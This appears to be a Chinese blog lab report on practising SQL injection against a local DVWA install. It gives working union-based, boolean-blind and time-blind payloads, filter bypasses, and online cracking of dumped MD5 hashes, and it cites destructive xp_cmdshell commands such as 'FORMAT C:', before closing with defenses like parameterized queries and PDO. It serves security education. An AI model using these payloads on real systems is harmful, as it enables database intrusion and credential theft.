赞
踩
目录
任务1:熟悉SQL注入原理,体验SQL注入过程
查阅资料了解SQL注入原理与方法,根据自己的实际情况开展不同层次级别的SQL注入过程体验,最低层次级别是基于SQL注入的绕过身份验证(俗称“万能密码”),最高层次级别是获取数据库表中存储的数据或利用SQL注入攻击数据库系统所在主机
感受SQL注入的危害,体验Web应用安全,思考软件开发过程中如何避免SQL注入漏洞
搭建简单的Web系统,或基于DVWA、SQLI labs、WebGoat或其它开源平台搭建靶场;手工方式或利用SQL注入工具软件,针对自建Web系统或靶场,实施SQL注入
SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。基于此,SQL注入的产生原因通常表现在以下几方面:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。
从https://www.apachefriends.org/zh_cn/download.html安装xampp,
将从https://github.com/ethicalhack3r/DVWA下载的dvwa压缩包解压,并将DVWA目录拷贝到XAMPP安装目录下的\xampp\htdocs目录下。
在\xampp\htdocs\dvwa\config里面将config.inc.php.dist去掉.dist后缀,修改“xampp\htdocs\dvwa\config\config.inc.php”里面连接MySQL数据库的密码、端口(xampp默认MySQL用户名密码是root/root,默认端口是3306)
启动xampp的Apache和MySQL服务
通过浏览器访问dvwa所在主机访问的地址为http://127.0.0.1/dvwa进入dvwa的web安装界面见下图。
默认用户密码是【admin/password】登录后可见到界面如下图所示,左侧列表列出了dvwa所支持的漏洞种类,共10种,【DVWA Security】中可以设置dvwa的漏洞级别,有【Low、Medium、High、Impossible】四个级别。
首先将安全等级设置为Low。调整之后进去SQL Injection,开始实验。
1、分析源码
通过源码可以发现红框标注处存在SQL注入点,注入类型是字符型,并且该等级下没有任何防御措施。
2、注入过程
(1)判断是否存在注入点
(2)判断SQL注入的字段数
说明字段数是2。
(3)查看回显位置
我们都知道,select语句在指明要查询的内容属性(如select id)后,要加from指明是从哪个数据库表中获得数据,在数据库环境中我们一般会先写一句use xxxdatabase,之后写select from语句直接加当前数据库中的表名就可以了。如果我们没有声明使用哪个数据库,也可以直接写 select xxxx from security.users(假设要从security数据库的users表中获取数据)。而select直接加数字串时,可以不写后面的表名,那么它输出的内容就是我们select后的数字,这时我们写的一串数字就是一个数组(或1个行向量),这时select实际上没有向任何一个数据库查询数据,即查询命令不指向任何数据库的表。返回值就是我们输入的这个数组,这时它是个1行n列的表,表的属性名和值都是我们输入的数组
(4)查看数据库名
得知数据库名为dvwa
(5)查看数据库中的表名
(6)查看某个数据表的列名
(7)查看数据
(8)md5碰撞
密码都是md5运算过的,以pablo用户为例,在线获得真实密码。
1、分析源代码
通过源代码可以看出,在中等级别时对输入的 $id 值使用 mysql_real_eascape_string() 函数进行了处理。在PHP中,使用 mysql_real_eascape_string() 函数用来转移SQL语句中使用字符串的特殊字符。但是使用这个函数对参数进行转换是存在绕过的。只需要将攻击字转换一下编码格式即可绕过该防护函数。比如URL编码等方式。同时发现SQL语句中变成了
“WHRER user_id = “$id”
,此处变成了数字型注入,所以此处使用 mysql_real_eascape_string() 函数并没有起到防护作用。可以通过类似于
1 or 1=1
的语句来进行注入。
2、绕过方式
可以通过burpsuite工具抓包来修改请求包
(1)利用Burpsuite工具抓包
很奇怪burpsuite无法抓取ip为127.0.0.1的包,故直接在浏览器访问本机IP地址下的dvwa,可以达到一样的效果。
(2)修改数据包,判断是否存在注入点
将数据包发送到repeater,修改后send
(3)判断字段数
可以判断字段数是2
(4)查看数据库名
id=1 union select 1,database() &Submit=Submit
(5)查看数据库中的表名
由于源代码中对特殊字符进行了转义,所以在写数据库名的时候不能用’dvwa’,而应该用函数database()
id=1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()# &Submit=Submit
(6)查看数据库中的列名
id=1 union select 1, group_concat(column_name) from information_schema.columns where table_name=0x7573657273# &Submit=Submit
注:users的十六进制的字符串是7573657273
(7)查看数据
id=1 union select user,password from users#&Submit=Submit
1、分析源代码
从源码可以看出,对用户的输入做了限制,只允许用户输入一个字符。
2、绕过办法
利用#将其注释掉
3、注入过程
由于大部分注入过程于前面类似,故不再赘述
通过查看源码得知,采用PDO操作可以有效的防御SQL注入漏洞。
SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。
1、源码分析
可以看到,Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,同时SQL语句查询返回的结果只有两种,‘
User ID exists in the database.
‘与‘
`User ID is MISSING from the database.`
‘,因此这里是SQL盲注漏洞。
2、注入过程
(1)判断是否存在注入,注入是字符型还是数字型
输入1,显示相应用户存在:
输入1' and 1=2 #,显示不存在:
输入1' and 1=1 #,显示存在:
说明存在字符型的SQL盲注。
(2)猜解当前数据库名
想要猜解数据库名,首先要猜解数据库名的长度,然后挨个猜解字符。
输入1' and length(database())=2 #,显示不存在;
输入1' and length(database())=3 #,显示不存在;
输入1' and length(database())=4 #,显示存在;
说明数据库名长度为4。
下面采用二分法猜解数据库名。
输入1' and ascii(substr(database(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
输入1' and ascii(substr(database(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
输入1' and ascii(substr(database(),1,1))<109 #,显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);
输入1' and ascii(substr(database(),1,1))<103 #,显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);
输入1' and ascii(substr(database(),1,1))<100 #,显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);
输入1' and ascii(substr(database(),1,1))>100 #,显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值);
所以数据库名的第一个字符的ascii值为100,即小写字母d。
……以此类推,最终得到数据库名字是“dvwa”
(3)猜解数据库中的表名
首先猜解数据库中表的数量:
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 显示存在
说明数据库中共有两个表。
接着挨个猜解表名:
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在
说明第一个表名长度为9。
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在
说明第一个表的名字的第一个字符为小写字母g。
……重复上述步骤,即可猜解出两个表名(guestbook、users)。
(4)猜解表中的字段名
首先猜解表中字段的数量:
1' and (select count(column_name) from information_schema.columns where table_name='users')=1 # 显示不存在
…
1' and (select count(column_name) from information_schema.columns where table_name='users')=8 # 显示存在
说明users表有8个字段。
接着挨个猜解字段名:
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1 # 显示不存在
…
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7 # 显示存在
说明users表的第一个字段为7个字符长度。
采用二分法,即可猜解出所有字段名。
(5)猜解数据
同样采用二分法,由于步骤过于繁琐,故略过。
1、源代码分析
可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号
\x00,\n,\r,\,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。
2、注入过程
虽然前端使用了下拉选择菜单,但我们依然可以通过burpsuite抓包改参数id,提交恶意构造的查询参数。
首先是基于布尔的盲注:
抓包改参数id为1 and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;
抓包改参数id为1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;
抓包改参数id为1 and (select count(column_name) from information_schema.columns where table_name=0x7573657273)=8 #,(0x7573657273为users的16进制),显示存在,说明uers表有8个字段。
然后是基于时间的盲注:
抓包改参数id为1 and if(length(database())=4,sleep(5),1) #,明显延迟,说明数据库名的长度为4个字符。
抓包改参数id为1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明显延迟,说明数据中的第一个表名长度为9个字符。等了5s才出现如下界面:
抓包改参数id为1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #,明显延迟,说明uers表有8个字段。
后续步骤由于步骤太过繁琐,且原理没有什么大的变动,在此也略过。
可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。
虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,这里我们只展示基于布尔的盲注:
抓包将cookie中参数id改为1' and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;
抓包将cookie中参数id改为1' and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;
抓包将cookie中参数id改为1' and (select count(column_name) from information_schema.columns where table_name=0x7573657273)=8 #,(0x7573657273 为users的16进制),显示存在,说明uers表有8个字段。
后续步骤由于步骤太过繁琐,且原理没有什么大的变动,在此也略过。
可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,Anti-CSRF token机制的加入了进一步提高了安全性。
SQL注入可能造成巨大的危害:数据表中的数据外泄,例如企业及个人机密数据,账户数据,密码等。数据结构被黑客探知,得以做进一步攻击(例如SELECT * FROM sys.tables)。数据库服务器被攻击,系统管理员账户被窜改(例如ALTER LOGIN sa WITH PASSWORD='xxxxxx')。获取系统较高权限后,有可能得以在网页加入恶意链接、恶意代码以及Phishing等。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统(例如xp_cmdshell "net stop iisadmin"可停止服务器的IIS服务)。黑客经由上传php简单的指令至对方之主机内,PHP之强大系统命令,可以让黑客进行全面控制系统(例如:php一句话木马)。破坏硬盘数据,瘫痪全系统(例如xp_cmdshell "FORMAT C:")。获取系统最高权限后,可针对企业内部的任一管理系统做大规模破坏,甚至让其企业倒闭。企业网站主页被窜改,门面尽失。
我们在开发时应注意:在设计应用程序时,完全使用参数化查询(Parameterized Query)来设计数据访问功能。在组合SQL字符串时,先针对所传入的参数加入其他字符(将单引号字符前加上转义字符)。如果使用PHP开发网页程序的话,需加入转义字符之功能(自动将所有的网页传入参数,将单引号字符前加上转义字符)。使用php开发,可写入html特殊函数,可正确阻挡XSS攻击。使用其他更安全的方式连接SQL数据库。例如已修正过SQL注入问题的数据库连接组件,例如ASP.NET的SqlDataSource对象或是 LINQ to SQL。使用SQL防注入系统。增强WAF(也称为:网站应用级入侵防御系统。英文:Web Application Firewall)的防御力
https://www.jianshu.com/p/bd3238d5f012
https://juejin.im/post/5d56b641f265da03f12e565c
https://www.jianshu.com/p/078df7a35671
https://zhuanlan.zhihu.com/p/35775773
https://zhuanlan.zhihu.com/p/66926867
https://blog.csdn.net/keylion_/article/details/80318594
https://blog.csdn.net/weixin_44840696/article/details/89166154
https://blog.csdn.net/allen__0/article/details/103956777
https://zhuanlan.zhihu.com/p/25111306
https://zh.wikipedia.org/wiki/SQL%E6%B3%A8%E5%85%A5
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。